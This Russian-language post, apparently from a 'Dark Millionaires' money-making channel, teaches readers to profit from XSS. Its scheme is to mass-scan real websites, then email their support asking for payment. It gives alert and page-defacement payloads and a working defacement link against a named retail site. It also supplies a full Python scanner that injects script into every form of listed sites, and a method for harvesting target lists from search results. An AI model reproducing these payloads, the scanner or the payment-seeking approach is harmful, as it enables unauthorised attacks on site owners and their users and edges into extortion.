March 1, 2024

Зарабатываем на XSS уязвимостях!

💮Темные миллионеры🌚💮

Темные миллионеры

Всем привет! В этой теме я расскажу вам о вечно актуальном и прибыльном способе заработка.
Для работы вам не понадобится никаких финансовых вложений, только аккаунт на любой почте.​Введение

И так, зарабатывать мы с вами будем на поиске XSS уязвимости на сайтах.
Алгоритм работы:
1. Ищем сайт с XSS уязвимостью
2. Связываемся с поддержкой сайта
3. Просим у них деньги за обнаружение уязвимости

Для начала вам необходимо ознакомиться с тем, что такое XSS уязвимость​

XSS уязвимость. Поиск. Эксплуатация

XSS (Cross-Site Scripting) - уязвимость позволяющая вам выполнять свой JS (JavaScript) код на чужом сайте, за счёт чего вы можете взламывать его пользователей, красть их данные, подменять код сайта и многое другое))

Для проверки сайта на наличие XSS уязвимости достаточно вставить в поисковую строку следующий JS код
⁡<script>alert("XSS")</script>

Для примера возьмём сайт stolplit.ru:

Т.е если на сайте появляется уведомление с надписью «XSS», то на нём есть уязвимость.

Самый простой способ эксплуатации XSS уязвимости - подмена кода сайта. Для неё достаточно просто вставить следующий JS код в поисковую строку
⁡<script>document.body.innerHTML = "<H1 style='color: black; text-align: center;'>C 01.05.2024 сайт перестаёт работать</H1>";</script>

Опасность тут в том, что любой кто перейдёт по этой ссылке на сайт, увидит именно наш html код, а не html код сайта. Можете перейти по ссылке ниже и убедиться в этом

https://www.stolplit.ru/internet-magazin/search/?is_submit=Y&product_title=⁡⁡<script>document.body.innerHTML+=+"<H1+style='color:+black;+text-align:+center;'>C+01.05.2024+сайт+перестаёт+работать</H1>";</script>⁡​Поиск сайтов с XSS уязвимостью

Сайты с XSS уязвимостью можно искать и вручную, но, тогда большая часть нашего времени будет уходить впустую. Я написал python скрипт для массовой проверки сайтов на наличие XSS уязвимости.

Инструкция по установке

1. Загружаем установочный файл Python3 с официального сайта
(https://www.python.org/downloads/release/python-3115/ )
2. Запускаем установочный файл и следуем иснтрукциям по установке.
* при установке необходимо выбрать опцию "Add Python 3.x to PATH".
3. После установки Python3, открываем командную строку (cmd), и вводим следующие команды
⁡pip install bs4


⁡⁡⁡pip install requests


⁡pip install colorama


4. Создаем папку, например WORK. В этой папке создаём 2 файла - main.py и site.txt
5. В файл main.py необходимо вставить код предоставленный ниже​

Код Python:

from colorama import init, Fore, Back, Style
from bs4 import BeautifulSoup as bs
import requests

from urllib.parse import urljoin
from pprint import pprint
import time


headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36"
}

init(autoreset=True)


def stop(stop_time):
    now_time = time.time()
    if stop_time - now_time <= 0:
        return True

def save(url):
    file = open("goods.txt", "a")
    file.write(f"{url}\n")
    file.close()

def scan_xss(url, stop_time, timeout):
    stop_time = time.time() + stop_time

    html = requests.get(url, headers=headers, timeout=timeout)
    soup = bs(html.content, "html.parser")
    forms = soup.find_all("form")
    js_script = "<Script>alert('XSS')</scripT>"
    is_vulnerable = False
 
    for form in forms:
        if stop(stop_time):
            break
        details = {}

        action = form.attrs.get("action")
        method = form.attrs.get("method", "get")
 
        if action != None and not(action.startswith("javascript")):
            action = action.lower()
            method = method.lower()
        else:
            break

        inputs = []
        for input_tag in form.find_all("input"):
            input_type = input_tag.attrs.get("type", "text")
            input_name = input_tag.attrs.get("name")
            inputs.append({"type": input_type, "name": input_name})
        details["action"] = action
        details["method"] = method
        details["inputs"] = inputs
        form_details =  details
        target_url = urljoin(url, form_details["action"])
        inputs = form_details["inputs"]
        data = {}

        for input in inputs:
            if input["type"] == "text" or input["type"] == "search":
                input["value"] = js_script
            input_name = input.get("name")
            input_value = input.get("value")
            if input_name and input_value:
                data[input_name] = input_value

        if form_details["method"] == "post":
            content = requests.post(target_url, data=data, headers=headers, timeout=timeout).content.decode('latin-1')
        else:
            content = requests.get(target_url, params=data, headers=headers, timeout=timeout).content.decode('latin-1')

        if js_script in content:
            save(url)
            print(f"{Fore.RED}[+] XSS Detected on {url}{Style.RESET_ALL}\n[*] Form details:")
            pprint(form_details)


if __name__ == "__main__":
    urls = open('site.txt', 'r', encoding="UTF-8")
    for element in urls:
        url = element.replace("\n", "")
        print(f"\033[37m{url}")
        # Максимальное время проверки одного сайта в секундах (не менее 180)
        stop_time = 180
        # Максимальное время ожидания ответа от сайта в секундах (не менее 15)
        timeout = 20
        try:
            scan_xss(url, 180, 20)
        except:
            pass # ваще похуй

    urls.close()

Для того, что бы скрипт начал искать уязвимость на сайтах необходимо вставить список сайтов в файл site.txt, открыть в CMD папку WORK и ввести следующую команду:
⁡python main.py


После запуска скрипт начнёт проверять сайты из файла на наличие XSS уязвимости, если он обнаружит сайт с уязвимостью, то выведет красным цветом его url и белым дополнительную информацию (где конкретно он нашёл уязвимость), а так же запишет url сайта в файл goods.txt.

Важное уточнение: возможны ложные срабатывания скрипта (может вывести сайт без уязвимости), поэтому всегда перепроверяйте сайт вручную.
​Откуда брать сайты?

Самое сложное в этом способе заработка - достать список сайтов. Я расскажу вам о способе которым сам пользовался:

Заходим на любой сайт для выгрузки топ 100 сайтов из яндекса или гугла, например https://pr-cy.ru/tools/check-keywords/
Вводим произвольный поисковой запрос, например «Купить мебель с доставкой спб», указываем глубину поиска - топ 100, выбираем любой регион и жмём на кнопку «Проверить»

После недолгого ожидания мы получаем 100 ссылок, их нужно скопировать и вставить в файл site.txt

​Связываемся с поддержкой сайта

После того как скриптом был найден сайт с уязвимостью, первым делом вы перепроверяете наличие уязвимости на сайте. Если она и в правду есть, то вы ищите почту поддержки сайта и пишите на неё о том, что нашли на сайте опасную уязвимость.

Всё общение с поддержкой сайта сводится к отправке текста по шаблону, ниже привёл пример успешного диалога с поддержкой сайта.

Всем благ, на связи​ был

Темный миллионер

Темный миллионер

емный миллионер

Темный миллионер

Темный миллионер

Темный Миллионер